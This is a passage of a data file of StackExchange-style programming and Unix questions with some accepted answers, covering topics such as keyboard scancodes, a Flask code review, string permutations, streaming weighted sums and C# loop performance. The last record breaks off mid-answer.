{  "id": "_cs.13414"  , "question": "In other words, can a programming language be referentially transparent even if not everything is an expression?And can you say that if in a programming language, everything is an expression, then it is referentially transparent?"  , "title": "Do expressions have much to do with referential transparency?"  , "tags": "programming languages"  } 
{  "id": "_unix.328992"  , "question": "I'm using Debian Jessie with LXDE on a recent notepad. The command showkey -s prints 0xe0 0x4c 0xe0 0xcc when Fn+F2 is pressed. But dmesg tells me: atkbd serio0: Unknown key released (translated set 2, code 0xab on isa0060/serio0).    atkbd serio0: Use 'setkeycodes e02b <keycode>' to make it known.Two questions:1. Where the scancode e02b comes from?2. Why the command setkeycodes e02b 44 works but not setkeycodes e04c 44?I also noticed that when I press Fn+F2, evtest prints 'ab':    Event: time 1481025600.385595, type 4 (EV_MSC), code 4 (MSC_SCAN), value ab       Event: time 1481025600.385595, -------------- EV_SYN ------------value 1        Event: time 1481025600.394373, type 4 (EV_MSC), code 4 (MSC_SCAN), value ab        Event: time 1481025600.394373, -------------- EV_SYN ------------    The command        setkeycodes ab 44    works too. Can someone help me understanding what's wrong?Thank you all.EDIT:Both Fn+F2 and Fn+F3 have the same scancode (0xab) for evtest and dmesg, but showkey prints two different scancodes:    0xe0 0x4c 0xe0 0xcc    for Fn+F2    0xe0 0x54 0xe0 0xd4    for Fn+F3I wonder where the scancode 0xab printed by evtest comes from."  , "title": "The scancode shown by dmesg is different from that from showkey"  , "tags": "linux;keyboard"  } 
{  "id": "_softwareengineering.352434"  , "question": "I'm looking for perspectives on how risk analysis is performed when there's not precisely a dollar value associated with the risk, as in an Open Source project. Traditionally, risk analysis takes the form ofAsset Value X Annual Probability of Loss X Probable Outcome of Loss = RiskOpen source community driven projects provide great value to people, and their development faces significant risks, both from a project standpoint (ranging from wasted developer cycles to failure to ever deliver) and from a product standpoint (users could not like the product, and update could make people leave or a security hole could leave millions of systems vulnerable to a nasty malware attack). Nevertheless, it doesn't quite lend itself to this formula.Who is responsible for identifying and managing these risks in Open Source community driven projects? How does the team decide which risks are most significant to the outcome of the project? Are there any official standards or approaches in this area?In the case of adopting Open Source, I believe this question has some solid answers:https://www.federalreserve.gov/boarddocs/srletters/2004/SR0417a1.pdfhttps://opensource.com/article/17/3/risks-open-source-project-managementOn the other hand, I don't see any literature or voices speaking to this aspect of the creation of such software. Any input from people actively involved in this community?"  , "title": "Risk Analysis in Open Source Community Driven Projects"  , "tags": "open source;security;risk;risk assesment"  } 
{  "id": "_unix.249363"  , "question": "If i have a folder, Tools, so Ipwd> /c/Toolsin tools I have three folders (solution folders for Visual Studio but not important).I want a command like below1234@Computer mINGW64 ~/Tools$ ls --show-repositoriesnow Tools is NOT a repository folder. but /c/Tools/MyProject and /c/Tools/MyApp both are.  So forgetting all the other formatting for ls (which i can handle on my own)the output I want is:drwxr-xr-x 1 0018121 Domain Users    0 Dec 14 14:33 MyProject/ (develop)drwxr-xr-x 1 0018121 Domain Users    0 Dec 14 14:17 Data/drwxr-xr-x 1 0018121 Domain Users    0 Dec 14 12:08 MyApp/ (master)-rw-r--r-- 1 0018121 Domain Users 399K Aug  4 10:41 readme.txt-rw-r--r-- 1 0018121 Domain Users 136K Aug  4 10:20 image.jpgso from the parent folder I can tell if a child folder is a current valid git repository (and what branch is currently checked out)ThanksJaeden Sifo Dyas al'Raec Ruiner"  , "title": "Git Bash - ls show repo folders"  , "tags": "bash;git"  } 
{  "id": "_codereview.164249"  , "question": "I have a situation where I have to use protocol to be conformed by NSManagedObject which has relationships with other entities.My protocol is like:protocol Account {  var accountId: String { get }  var isValidAccount: Bool { get }}Here is that entity:class AccountMO: NSManagedObject {  @NSManaged var uid: String!  @NSManaged var anotherEntity: AnotherEntity?  private (set) var storedMOC: NSManagedObjectContext!  override var managedObjectContext: NSManagedObjectContext? {    return storedMOC  }  override init(entity: NSEntityDescription, insertInto context: NSManagedObjectContext?) {    super.init(entity: entity, insertInto: context)    storedMOC = context!  }  init(moc:NSManagedObjectContext) {    //I'm using this method to init AccountMO    let mEntity = NSEntityDescription.entity(forEntityName: Account, in: moc)    super.init(entity: mEntity!, insertInto: moc)  }  func addAnotherEntity() {    //this method creates AnotherEntity    //and this method will be called after particular event has happened  }}Extension which is conforming protocol:extension AccountMO: Account {  var accountId: String {    return uid!  }  var isValidAccount: Bool {    return anotherEntity != nil  }}Whenever I want Account properties, I uses DB interface to fetch and return AccountMO as:class DBInterface {  //initialization methods  var mainThreadMOC: NSManagedObjectContext?  func createNewAccount(uid: String) {    //create and save account to database  }  func getAccount() -> Account {    //this method abstracts database implementations from outside classes   //in future if I wanted to replace core-data by another database, I've to change this method only    let privMOC = privateMOC()//this is child of mainThreadMOC    let accountMO = fetchAccountEntity(moc: privMOC)    return accountMO as Account  }}This works fine!But what I felt is storedMOC in AccountMO is something odd man out!If I don't store MOC in AccountMO object, then it crashes onreturn anotherEntity != nilthis line.Apparently this is caused because AccountMO looses it's managedObjectContext once returned from getAccount() method.So, to prevent AccountMO from losing it's managedObjectContext I've added that extra property to it.  Please feel free to tear this implementation down if needed!"  , "title": "Core-data object with relationships conforming protocol in swift"  , "tags": "swift;core data;protocols"  } 
{  "id": "_unix.317247"  , "question": "I would like to know how to display all clocks and their associated driver in Linux. It is possible to do it by looking at the device tree file but I was wondering if there is a sysfs entry that allows to print clock tree. Is it possible to know the frequency of each clock also ? Thank you for your help. "  , "title": "Display all declared clocks and their frequency"  , "tags": "linux;clock"  } 
{  "id": "_unix.73309"  , "question": "I have a script which creates a lot of files and directories. The script does black box tests for a program which works with a lot of files and directories. The test count grew and the tests were taking too long (over 2 seconds). I thought I run the tests in a ram disk.I ran the test in /dev/shm. Strangely it did not run any faster. Average run time was about the same as on normal harddisk. I also tried in a fuse based ram disk written in perl. The website is gone but I found it in the internet archive. Average run time on the fuse ram disk is even slower. Perhaps because of the suboptimal implementation of the perl code.Here is a simplified version of my script:#! /bin/shpreparedir() {  mkdir foo  mkdir bar  touch bar/file  mkdir bar/baz  echo qux > bar/baz/file}systemundertest() {  # here is the black box program that i am testing  # i do not know what it does exactly  # but it must be reading the files  # since it behaves differently based on them  find $1 -type f -execdir cat '{}' \\; > /dev/nullsingletest() {  mkdir actual  (cd actual; preparedir)  systemundertest actual  mkdir expected  (cd expected; preparedir)  diff -qr actual expected}manytests() {  while read dirname; do    rm -rf $dirname    mkdir $dirname    (cd $dirname; singletest)  done}seq 100 | manytestsThe real script does a bit more error checking and result collecting and a summary. The find is a dummy for the actual program I am testing.I wonder why my filesystem intensive script does not run faster on a memory backed filesystem. Is it because the linux kernel handles the filesystem cache so efficiently that it practically is a memory backed filesystem?"  , "title": "why is filesystem intensive script not faster on ram disk"  , "tags": "performance;ramdisk"  , "accepted_answer": "Quite generally speaking, all operations happen in RAM first - file systems are cached. There are exceptions to this rule, but these rather special cases usually arise from quite specific requirements. Hence until you start hitting the cache flushing, you won't be able to tell the difference.Another thing is, that the performance depends a lot on the exact file system - some are targeting easier access to huge amounts of small files, some are efficient on real-time data transfers to and from big files (multimedia capturing/streaming), some emphasise data coherency and others can be designed to have small memory/code footprint.Back to your use case: in just one loop pass you spawn about 20 new processes, most of which just create one directory/file (note that () creates a sub-shell and find spawns cat for every single match) - the bottleneck indeed isn't the file system  (and if your system uses ASLR and you don't have a good fast source of entropy your system's randomness pool gets depleted quite fast too). The same goes for FUSE written in Perl - it's not the right tool for the job."  } 
{  "id": "_vi.11854"  , "question": "Trying to make it easier to comment out unused parameters in a function.Added the macro:map C wbywcw/*<C-v><Esc>pa*/<C-v><Esc>/[,)]<C-v><C-m>nbSo on hitting Cap-C it will comment out the current parameter under the cursor and move to the next parameter. Nice to get feedback on that as well.But what I really want to try and do is make it check to see if the current parameter is commented out. If it is then uncomment it otherwise comment it out.Break down of the current command:map C wbywcw/*<C-v><Esc>pa*/<C-v><Esc>/[,)]<C-v><C-m>nbwb    go the beginning of the current word.      Need to use w first becuase if we are currently at the      beginning of the word a single b would go to the previous word.yw    yank the parameter into the buffer.cw    Change the parameter.      Into /*p     pull the yanked parameter so we now have      /*parama     append more text      /*param*//[,)] Search for the closing ')' or the comma after this parametern     Move to the comma after the next paramb     Move back one word should be the next param"  , "title": "Comment out unused parameters"  , "tags": "vimrc;vimscript"  } 
{  "id": "_unix.177210"  , "question": "I use Debian/PPC on an old Mac Mini G4, it currently serve as a DLNA server (UPnP), no mouse or keyboard plugged.I would like that my power button also serves to shutdown the box. Currently it does nothing, on recent x86 I would have used ACPI as described here.However ACPI does not seems to be available from my G4 box (see for example here or here), only pbbuttonsd is available, see link.I could not find whether or not any event (APM type?) is sent when pressing the power button. I know that I can hold the power button for 4s then the machine halt, but I would prefer a clean shutdown. As a last resort I could plug in a keyboard but I am looking for a solution without mouse or keyboard.How would one do that ?EDIT: Using web.archive.org I was able to read: http://web.archive.org/web/20110317165103/http://blog.blinker.net/2010/06/20/mac-mini-g4-homeserver-with-ubuntu-linux-10-04-wpa2/I used the solution suggested:I got this working on my G4 Quicksilver with Ubuntu by installing  pbbuttonsd.I had to modify /etc/pbbuttonsd.conf and change this line:OnAC_KeyAction = noneto:OnAC_KeyAction = shutdownI ran /etc/init.d/pbbuttonsd restart to restart the daemon, and then  the power button worked to trigger a clean shutdown.But this did not work for me, maybe there is a difference in between PowerBook and Mac Mini G4."  , "title": "Configure power button to shutdown on Debian/Mac Mini G4"  , "tags": "shutdown;acpi;powerpc"  , "accepted_answer": "After digging into the source code, I was able to suggest the following patch on the pbbuttons mailing list, as seen here.Turns out the code would only consider a power button press event in case:if (n == 6 && ((intr[1] >> 3) & 1) != PBpressed) {while the comment just above explains that:/* n = 2 && intr[1] = 0x0c = %01100 power button on mac-mini */so I simply changed it to:if (n == 2 && intr[1] == 0x0c ) {Now I can properly configure the OnAC_KeyAction to shutdown ! No need for a keyboard for a simple action like this now !"  } 
{  "id": "_unix.268174"  , "question": "I have two files:File1.txt30    40    A    T    match1    string145    65    G    R    match2    string250    78    C    Y    match3    string3File2.txt match1    60    add1    50    add2match2    15    add1    60    add2match3    20    add1    45    add2and I want to obtain an output that looks like so:30    40    A    T    match1    string1    60    add145    65    G    R    match2    string2    15    add150    78    C    Y    match3    string3    20    add1I want to append column 2 and column 3 from file2.txt to the end of file1.txt if there is a match in column 5 from file1.txt. I've tried to use this join command:join -1 5 -2 1 -a 1 -o 1.1 -o 1.2 -o 1.3 -o 1.4 -o 1.5 -o 1.6 -o 2.2 -o 2.3 file1.txt fil2.txtHowever, this only seems to print the columns from the first file. Is there any other solutions other than join to tackle this problem? "  , "title": "Joining columns from files if they contain a match in another column"  , "tags": "text processing;awk;join"  , "accepted_answer": "I found a solution:awk -F \\t 'FNR==NR {a[$1] = $2 \\t $3;next} $5 in a{print $0 \\t a[$5]}' file2.txt file1.txt > outing.txt"  } 
{  "id": "_webmaster.76991"  , "question": "I would like to buy a second-level domain name (e.g. example.com) and I willrun web server on my own machine (named www, having public IP address).Is this sufficient for my machine to be accessible by visitors via browserwith http://www.example.com?I expect that every visitor machine accessing http://www.example.com will first askit's DNS server if it knows the IP address of www.example.com.If it doesn't know. The DNS server will ask the root server on the address of .comtop-level domain. Then it will ask .com top-level domain if it knows the IP addressof www.example.com and it should be there because I bought it. So finally it will send the IP address to the visitor's DNS server and then visitor's DNS server will send the IPaddress to visitor's machine?I would like to avoid installing and configuring own DNS server (I have only one laptop). Is my expectation correct that I don't need to install own DNS server?If yes/no, please describe a little the reasoning behind the scene."  , "title": "Is it necessary to run own DNS server?"  , "tags": "dns;domains;dns servers"  , "accepted_answer": "Your domain name registrar should be hosting your DNS records. This is not something you have to do or worry too much about. In fact, you are far better off not running a DNS server because of the security implications. When you register your domain name many registrars will host your DNS records free of charge. Some do charge a small fee. If your registrar for some extremely odd reason cannot host your DNS records, there are DNS hosts. So there are plenty of options. I suggest making this a question you ask the registrar prior to registering your domain name."  } 
{  "id": "_codereview.32502"  , "question": "I just started with Python a month ago, and with Flask this week. This is my first project.I am curious about general style, proper use of Python idioms, and Flask best-practices.run.py:#!/usr/bin/env python# -*- coding: utf-8 -*-import loggingimport osimport sqlite3import StringIOimport timefrom ConfigParser import SafeConfigParserfrom emailvision.restclient import RESTClientfrom flask import Flask, request, g, render_template, flash, send_file, \\    redirectfrom mom import MOMClientfrom zlib import compress, decompressapp = Flask(__name__)app.config.update(dict(    DATABASE='/tmp/nhs-listpull.db',    DEBUG=True,    SECRET_KEY='\\xeb\\x12A;\\x8b\\x0c$\\xf4>O\\xb6\\x9c\\x15y=>\\x0cU<Kzp>\\xe9',    USERNAME='admin',    PASSWORD='default'))app.config.from_envvar('NHS-LISTPULL_SETTINGS', silent=True)def connect_db():    Connects to the specific database.    rv = sqlite3.connect(app.config['DATABASE'])    rv.row_factory = sqlite3.Row    return rvdef init_db():    Creates the database tables.    app.logger.info(Initializing database)    with app.app_context():        db = get_db()        with app.open_resource('schema.sql', mode='r') as f:            sql = f.read()            app.logger.debug(sql)            db.cursor().executescript(sql)        db.commit()def get_db():    Opens a new database connection if there is none yet for the    current application context.        if not hasattr(g, 'sqlite_db'):        g.sqlite_db = connect_db()    return g.sqlite_dbdef get_mom():    Opens a new MOM db connection if there is none yet for the    current application context.        if not hasattr(g, 'mom'):        config_ini = os.path.join(os.path.dirname(__file__), 'config.ini')        config = SafeConfigParser()        config.read(config_ini)        mom_host = config.get(momdb, host)        mom_user = config.get(momdb, user)        mom_password = config.get(momdb, password)        mom_database = config.get(momdb, db)        g.mom = MOMClient(mom_host, mom_user, mom_password, mom_database)    return g.momdef get_ev_client():    Gets an instance of the EmailVision REST client.    if not hasattr(g, 'ev'):        config_ini = os.path.join(os.path.dirname(__file__), 'config.ini')        config = SafeConfigParser()        config.read(config_ini)        ev_url = config.get(emailvision, url)        ev_login = config.get(emailvision, login)        ev_password = config.get(emailvision, password)        ev_key = config.get(emailvision, key)        g.ev = RESTClient(ev_url, ev_login, ev_password, ev_key)    return g.ev@app.teardown_appcontextdef close_db(error):    Closes the database again at the end of the request.    if error is not None:        app.logger.error(error)    if hasattr(g, 'sqlite_db'):        g.sqlite_db.close()def query_db(query, args=(), one=False):    cur = get_db().execute(query, args)    rv = cur.fetchall()    cur.close()    return (rv[0] if rv else None) if one else rv@app.route('/')def show_jobs():    app.logger.debug(show_jobs())    db = get_db()    sql = '''        select j.id, j.record_count, j.ev_job_id,        j.created_at, j.csv, t.name,        case            when j.status = 0 then 'Pending'            when j.status = 1 then 'Complete'        end status        from job_status j        inner join list_types t on (j.list_type_id = t.id)        order by j.id desc'''    cur = db.execute(sql)    jobs = cur.fetchall()    app.logger.debug(Found {} jobs.format(len(jobs)))    return render_template('job_status.html', jobs=jobs)@app.route('/list', methods=['POST'])def create_list():    # curl --data list_type_id=1 http://localhost:5000/list    app.logger.debug(create_list())    list_type_id = request.form['list_type_id']    app.logger.debug(list_type_id= + list_type_id)    mom = get_mom()    app.logger.debug(mom.get_customers())    csv, count = mom.get_customers()    app.logger.debug(CSV is {} bytes.format(len(csv)))    csv = buffer(compress(csv))    app.logger.debug(Compressed CSV is {} bytes.format(len(csv)))    db = get_db()    db.execute(('insert into job_status '               '(list_type_id, record_count, status, csv) VALUES (?,?,?,?)'),               (list_type_id, count, 0, csv))    db.commit()    flash('List successfully generated with {:,} records'.format(count))    return redirect('/')@app.route('/list-noas', methods=['POST'])def create_list_no_autoship():    app.logger.debug(create_list_no_autoship())    list_type_id = request.form['list_type_id']    app.logger.debug(list_type_id= + list_type_id)    mom = get_mom()    app.logger.debug(mom.get_customers_excl_autoship())    csv, count = mom.get_customers_excl_autoship()    app.logger.debug(CSV is {} bytes.format(len(csv)))    csv = buffer(compress(csv))    app.logger.debug(Compressed CSV is {} bytes.format(len(csv)))    db = get_db()    db.execute(('insert into job_status '               '(list_type_id, record_count, status, csv) VALUES (?,?,?,?)'),               (list_type_id, count, 0, csv))    db.commit()    flash('List successfully generated with {:,} records'.format(count))    return redirect('/')@app.route('/list-reengagement', methods=['POST'])def create_list_reengagement():    app.logger.debug(create_list_reengagement())    list_type_id = request.form['list_type_id']    app.logger.debug(list_type_id= + list_type_id)    mom = get_mom()    app.logger.debug(mom.get_customers_reengagement())    csv, count = mom.get_customers_reengagement()    app.logger.debug(CSV is {} bytes.format(len(csv)))    csv = buffer(compress(csv))    app.logger.debug(Compressed CSV is {} bytes.format(len(csv)))    db = get_db()    db.execute(('insert into job_status '               '(list_type_id, record_count, status, csv) VALUES (?,?,?,?)'),               (list_type_id, count, 0, csv))    db.commit()    flash('List successfully generated with {:,} records'.format(count))    return redirect('/')@app.route('/csv/<int:job_id>', methods=['GET'])def get_csv(job_id):    db = get_db()    cur = db.execute('select csv from job_status where id = {}'.format(job_id))    csv = cur.fetchone()[0]    csv = decompress(csv)    sio = StringIO.StringIO()    sio.write(csv)    sio.seek(0)    return send_file(sio,                     attachment_filename=                     {}_{}.txt.format(job_id, time.strftime(%Y%m%d%H%M%S)),                     as_attachment=True)@app.route('/send/<int:job_id>', methods=['GET'])def send_to_emailvision(job_id):     Sends raw CSV to EmailVision     db = get_db()    cur = db.execute('select csv from job_status where id = {}'.format(job_id))    csv = cur.fetchone()[0]    logging.info(Got {} bytes of compressed CSV.format(len(csv)))    csv = decompress(csv)    logging.info(Sending {} bytes of raw CSV to EmailVision.format(len(csv)))    ev_job_id = get_ev_client().insert_upload(csv)    if ev_job_id > 0:        db.execute('update job_status set ev_job_id = ?, status=1 '                   'where id = ?', (ev_job_id, job_id))        db.commit()        flash(List successfully sent to EmailVision (Job ID {})..format(            ev_job_id))    else:        flash(Something went horribly wrong., error)    return redirect('/')@app.route('/delete/<int:job_id>', methods=['GET'])def delete_job(job_id):    Delete a job    try:        db = get_db()        db.execute('delete from job_status where id = {}'.format(job_id))        db.commit()        flash(Job {} successfully deleted.format(job_id))    except Exception as e:        flash(Something went horribly wrong. {}.format(e), error)    return redirect('/')@app.route('/list-as', methods=['POST'])def create_list_autoships():    app.logger.debug(create_list_autoships())    list_type_id = request.form['list_type_id']    app.logger.debug(list_type_id= + list_type_id)    app.logger.debug(mom.get_autoships())    csv, count = get_mom().get_autoships()    app.logger.debug(CSV is {} bytes.format(len(csv)))    csv = buffer(compress(csv))    app.logger.debug(Compressed CSV is {} bytes.format(len(csv)))    db = get_db()    db.execute(('insert into job_status '               '(list_type_id, record_count, status, csv) VALUES (?,?,?,?)'),               (list_type_id, count, 0, csv))    db.commit()    flash('List successfully generated with {:,} records'.format(count))    return redirect('/')@app.route('/list-cat-x-sell', methods=['POST'])def create_list_cat_x_sell():    app.logger.debug(create_list_cat_x_sell())    list_type_id = request.form['list_type_id']    category_list = request.form.getlist('category-list')    product_list = request.form.getlist('product-list')    app.logger.debug(list_type_id= + list_type_id)    app.logger.debug(category_list= + ','.join(category_list))    app.logger.debug(product_list= + ','.join(product_list))    app.logger.debug(mom.get_cat_x_sell())    csv, count = get_mom().get_cat_x_sell()    app.logger.debug(CSV is {} bytes.format(len(csv)))    csv = buffer(compress(csv))    app.logger.debug(Compressed CSV is {} bytes.format(len(csv)))    db = get_db()    db.execute(('insert into job_status '               '(list_type_id, record_count, status, csv) VALUES (?,?,?,?)'),               (list_type_id, count, 0, csv))    db.commit()    flash('List successfully generated with {:,} records'.format(count))    return redirect('/')@app.errorhandler(404)def page_not_found(e):    return render_template('404.html', e=e), 404@app.errorhandler(500)def internal_error(e):    return render_template('500.html', e=e), 500if __name__ == '__main__':    app.logger.debug(__name__)    #init_db()    FORMAT = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'    logging.basicConfig(filename='nhs-listpull.log', level=logging.DEBUG,                        format=FORMAT)    app.run()"  , "title": "Providing a daily feed of current segmented customer data for targeted email campaigns"  , "tags": "python;flask"  } 
{  "id": "_codereview.79519"  , "question": "I wrote the following code to permute the characters of a string assuming there is no repeated character. I also want to make sure the space complexity of this algorithm is \\$O(n*n!)\\$: There are \\$n!\\$ recursive calls, for each of these calls, I copy a string of size \\$n\\$. Am I right?Time complexity: \\$O(n!)\\$: \\$n!\\$ recursive callsIs it possible to make it more efficient?    public static void permute(String str, String prefix){    if (str.length() == 0) System.out.println(prefix);    for (int i = 0; i < str.length(); i++){      String c = Character.toString(str.charAt(i));      String rest = str.substring(0, i) + str.substring(i+1);      permute(rest, prefix + c);    }  }"  , "title": "Permutations of a string"  , "tags": "java;algorithm;strings;combinatorics"  , "accepted_answer": "The number of permutations of n choose n items is always going to be n!. The way to optimize the solution is to prune the permutations to those that might solve the problem. This requires domain knowledge.For example if the problem involves ordinary English words all permutations  matching *qz* or *mA* can be eliminated.Incidentally, \\$O(n*n!)\\$ can be shortened to \\$O(n!)\\$ since it is roughly \\$O((n+1)!)\\$"  } 
{  "id": "_webmaster.31082"  , "question": "In Google Analytics, there is extensive information on the mobile device, version and browser version. However, this doesn't seem to go beyond the mobile browser.I would like to determine which application is responsible for visits to my site. Specifically, I want to know how many visits are coming from zite. http://www.handsetdetection.com/properties/vendormodel/Apple/iPad/page:4seems to indicate this information is probably available, where/does Google Analytics expose this?"  , "title": "Google Analytics: How can I traffic and referrals from iPad applications?"  , "tags": "google analytics;mobile"  , "accepted_answer": "You can track mobile devices with GA, but not the apps generating the traffic.If you're thinking along the lines of browser headers it may be possible but not with GA.For that you'd have to create an independent redirection which stores the browser header in a database, and if you're trying to measure a paid link, you can tell them to use the redirect link instead of the original. Otherwise GA collates the browser headers and doesn't offer much in detail."  } 
{  "id": "_webmaster.72832"  , "question": "Besides not conforming to modern web standards and not being responsive/mobile friendly, are there any SEO penalties associated with using, say a tabular website? For example, if the architecture was one giant table containing the site content in columns and rows."  , "title": "SEO implications of outdated website architecture"  , "tags": "seo;google ranking"  } 
{  "id": "_cs.10612"  , "question": "Suppose we're receiving numbers in a stream. After each number is received, a weighted sum of the last $N$ numbers needs to be calculated, where the weights are always the same, but arbitrary. How efficiently can this done if we are allowed to keep a data structure to help with the computation? Can we do any better than $\\Theta(N)$, i.e. recomputing the sum each time a number is received?For example:Suppose the weights are $W= \\langle w_1, w_2, w_3, w_4\\rangle$. At one point we have the list of last $N$ numbers $L_1= \\langle a, b, c, d \\rangle>$, and the weighted sum $S_1=w_1*a+w_2*b+w_3*c+w_4*d$. When another number, $e$, is received, we update the list to get $L_2= \\langle b,c,d,e\\rangle$ and we need to compute $S_2=w_1*b+w_2*c+w_3*d+w_4*e$.Consideration using FFTA special case of this problem appears to be solvable efficiently by employing the Fast Fourier Transform. Here, we compute the weighed sums $S$ in multiples of $N$. In other words, we receive $N$ numbers and only then can we compute the corresponding $N$ weighed sums. To do this, we need $N-1$ past numbers (for which sums have already been computed), and $N$ new numbers, in total $2N-1$ numbers. If this vector of input numbers and the weight vector $W$ define the coefficients of the polynomials $P(x)$ and $Q(x)$, with coefficients in $Q$ reversed, we see that the product $P(x)\\times Q(x)$ is a polynomial whose coefficients in front of $x^{N-1}$ up to $x^{2N-2}$ are exactly the weighted sums we seek. These can be computed using FFT in $\\Theta(N*\\log (N))$ time, which gives us an average of $(\\log (N))$ time per input number.This is however not a solution the the problem as stated, because it is required that the weighted sum is computed efficiently each time a new number is received - we cannot delay the computation."  , "title": "Weighted sum of last N numbers"  , "tags": "algorithms;data structures;online algorithms"  , "accepted_answer": "Here is an elaboration of your approach. Every $m$ iterations, we use the FFT algorithm to compute $m$ values of the convolution in time $O(n\\log n)$, assuming that the subsequent $m$ values are zero. In other words, we are computing$$\\sum_{i=0}^{n-1} w_i a_{t-i+k}, \\quad 0 \\leq k \\leq m-1,$$where $w_i$ are the $n$ weights (or the reverse weights), $a_i$ is the input sequence, $t$ is the current time, and $a_{t'} = 0$ for $t' > t$.For each of the following $m$ iterations, we are able to calculate the required convolution in time $O(m)$ (the $i$th iteration needs time $O(i)$). So the amortized time is $O(m) + O(n\\log n/m)$. This is minimized by choosing $m = \\sqrt{n\\log n}$, which gives an amortized running time of $O(\\sqrt{n\\log n})$.We can improve this to worst-case running time of $O(\\sqrt{n\\log n})$ by breaking the computation into parts. Fix $m$, and define$$ b_{T,p,o} = \\sum_{i=0}^{m-1} w_{pm+i} a_{Tm-i+o}, \\quad C_{T,p} = b_{T,p,0}, \\ldots, b_{T,p,m-1}. $$Each $C_{T,p}$ depends only on $2m$ inputs, so it can be computed in time $O(m\\log m)$. Also, given $C_{\\lfloor t/m \\rfloor-p,p}$ for $0 \\leq p \\leq n/m-1$, we can compute the convolution in time $O(n/m + m)$. The plan therefore is to maintain the list$$ C_{\\lfloor t/m \\rfloor-p,p}, \\quad 0 \\leq p \\leq n/m-1. $$For each period of $m$ inputs, we need to update $n/m$ of these. Each update takes time $O(m\\log m)$, so if we spread these updates evenly, each input will take up work $O((n/m^2) m\\log m) = O((n/m) \\log m)$. Together with computing the convolution itself, the time complexity per input is $O((n/m)\\log m + m)$. Choosing $m = \\sqrt{n\\log n}$ as before, this gives $O(\\sqrt{n\\log n})$."  } 
{  "id": "_unix.106345"  , "question": "Will I be able to login into the system if the root filesystem is 100% full?Configuration: home is not a partition but is also placed on the root (i.e.  /home is a directory on the partition holding root /), var and tmp are separate partitions and in good state."  , "title": "Login when root filesystem is full"  , "tags": "login;home;root filesystem"  , "accepted_answer": "You should be able to log in as root, because usually a percentage of the partition's size is reserved in order to always enable root login for rescue operations and such. See this U&L Q&A:Reserved space for root on a filesystem - why?What you won't be able to do, however, is log in as a regular user from your display manager then switch to root or use sudo from a shell in a terminal.You have two alternatives instead:Switch to a VT (press Ctrl + Alt + F2, for example), log in as root from there and free some space.At boot time opt for single user mode to get a root shell that would also help you free some space for your regular login.This assumes that the reason your partition was filled up is due to regular user activity and not activity by root processes. In such cases, you might need to resort to mounting the partition on a Live system and freeing up the space from there. Thanks to Alexios' comment for bringing this up."  } 
{  "id": "_softwareengineering.214970"  , "question": "I've got a database where I want to store user information and user_meta information.The reason behind setting it up in this way was because the user_meta side may change over time and I would like to do this without disrupting the master user table.If possible, I would like some advice on how to best set up this meta data table.I can either set it as below:+----+---------+----------+--------------------+| id | user_id | key      | value              |+----+---------+----------+--------------------+| 1  | 1       | email    | test@testemail.com || 2  | 1       | name     | user name          || 3  | 1       | address  | test address       |...Or, I can set it as below:+----+---------+--------------------+--------------------+--------------+| id | user_id | email              | name               | address      |+----+---------+--------------------+--------------------+--------------+| 1  | 1       | test@testemail.com | user name          | test address |Obviously, the top verison is more flexible, but the bottom version is space saving and perhaps more efficient, returning all the data as a single record.Which is the best way to go about this?Or, am I going about this completely wrong and there's another way I've not thought of?"  , "title": "Best Way to Handle Meta Information in a SQL Database"  , "tags": "database design"  } 
{  "id": "_unix.358850"  , "question": "There are 2 main ways that I know of so far:Explicitly: wrapping parentheses around a list of commandsImplicitly: every command in a pipelineAre there more ways, either explicitly or implicitly, in which one creates subshells in bash?"  , "title": "What are all the ways to create a subshell in bash?"  , "tags": "bash;subshell"  } 
{  "id": "_softwareengineering.301520"  , "question": "I have discovered that reducing the arity of functions in my code to zero or one improves their non-functional characteristics significantly, such as  testability, maintainability and their composability.This must have been identified elsewhere - does this approach have a name?"  , "title": "Reducing the arity of functions"  , "tags": "programming practices;functions"  } 
{  "id": "_codereview.132195"  , "question": "I'm developing a plugin for Revit (a software to make 3D buildings).The goal is simple to understand. When there is an intersection between a Wall and a Duct I create an object called Reservation at this location. I need to extract the Curve of the Ducts and the Faces of the Walls in order to calculate this intersection.My algorithm is working fine and fast with a small building (3 Ducts, 10 Walls and 8 intersections) But when I want to launch it on a real project (around 10 000 Ducts) the code is way too slow due to many ForEach loops. Here is the sample which cause the issue:foreach (Duct d in ducts)            {                Curve ductCurve = FindDuctCurve(d);                curves.Add(ductCurve);                foreach (Wall w in walls)                {                    wallFaces = FindWallFace(w);                    foreach (Curve c in curves)                    {                        foreach (Face f in wallFaces)                        {                            foreach (KeyValuePair<XYZ, Wall> pair in FindInterWalls(c, f, walls))                            {                                Reservation.Res res = new Reservation.Res();                                res.RoundCenter = new XYZ(Math.Round(pair.Key.X), Math.Round(pair.Key.Y), Math.Round(pair.Key.Z));                                res.WallWidth = pair.Value.Width;                                bool containsItemX = resList.Any(itemX => itemX.RoundCenter.DistanceTo(res.RoundCenter) < res.WallWidth + 1);                                if (containsItemX == false)                                {                                    res.AssociatedWall = pair.Value;                                    res.Radius = 1;                                    res.AssociatedDuct = d;                                    res.Center = pair.Key;                                    resList.Add(res);                                    model.Reservations.Add(new Reservation { ResList = resList });                                }                            }                        }                    }                }            }The custom methods I'm using also contain loops. I wonder if a LINQ would be faster but I don't really know how to use it.In a nutshell i want to get all the information about Reservations without loosing so much time stuck in so many foreach loops.Here is my Reservation Class :public sealed class Reservation{    public List<Res> ResList { get; set; }    public class Res    {        public XYZ Center { get; set; }        public XYZ RoundCenter { get; set; }        public Duct AssociatedDuct { get; set; }        public Wall AssociatedWall { get; set; }        public double WallWidth { get; set; }        public int Radius { get; set; }    }    public Reservation()    {        ResList = new List<Res>();    }}A Curve is a right in the center of a Duct (each Duct contains one Curve). And a Face is a side of a Wall (each Wall contains 6 Faces)"  , "title": "Get every information about the Reservation"  , "tags": "c#;performance"  , "accepted_answer": "I hope I have understood this now.Instead of iterating over all the Duct items and adding each iteration the related Curve to curves you should create another class like  public class DuctCurev{    public Duct TheDuct {get; private set; }    public Curve TheCurve {get; private set; }    public DuctCurve(Duct duct, Curve curve)    {        TheDuct = duct;        TheCurve = curve;    }}now we iterate once over all of the Duct's and find the related Curve which we will add to a List<DuctCurve> like so  List<DuctCurve> ductCurves = new List<DuctCurve>();foreach (Duct d in ducts){    ductCurves.Add(d, FindDuctCurve(d));}  then we need to adjust the remaining code to use the ductCurves and use the ! operator instead of using containsItemX == false like soforeach (Wall w in walls){    wallFaces = FindWallFace(w);    foreach (DuctCurve dc in ductCurves)    {        foreach (Face f in wallFaces)        {            foreach (KeyValuePair<XYZ, Wall> pair in 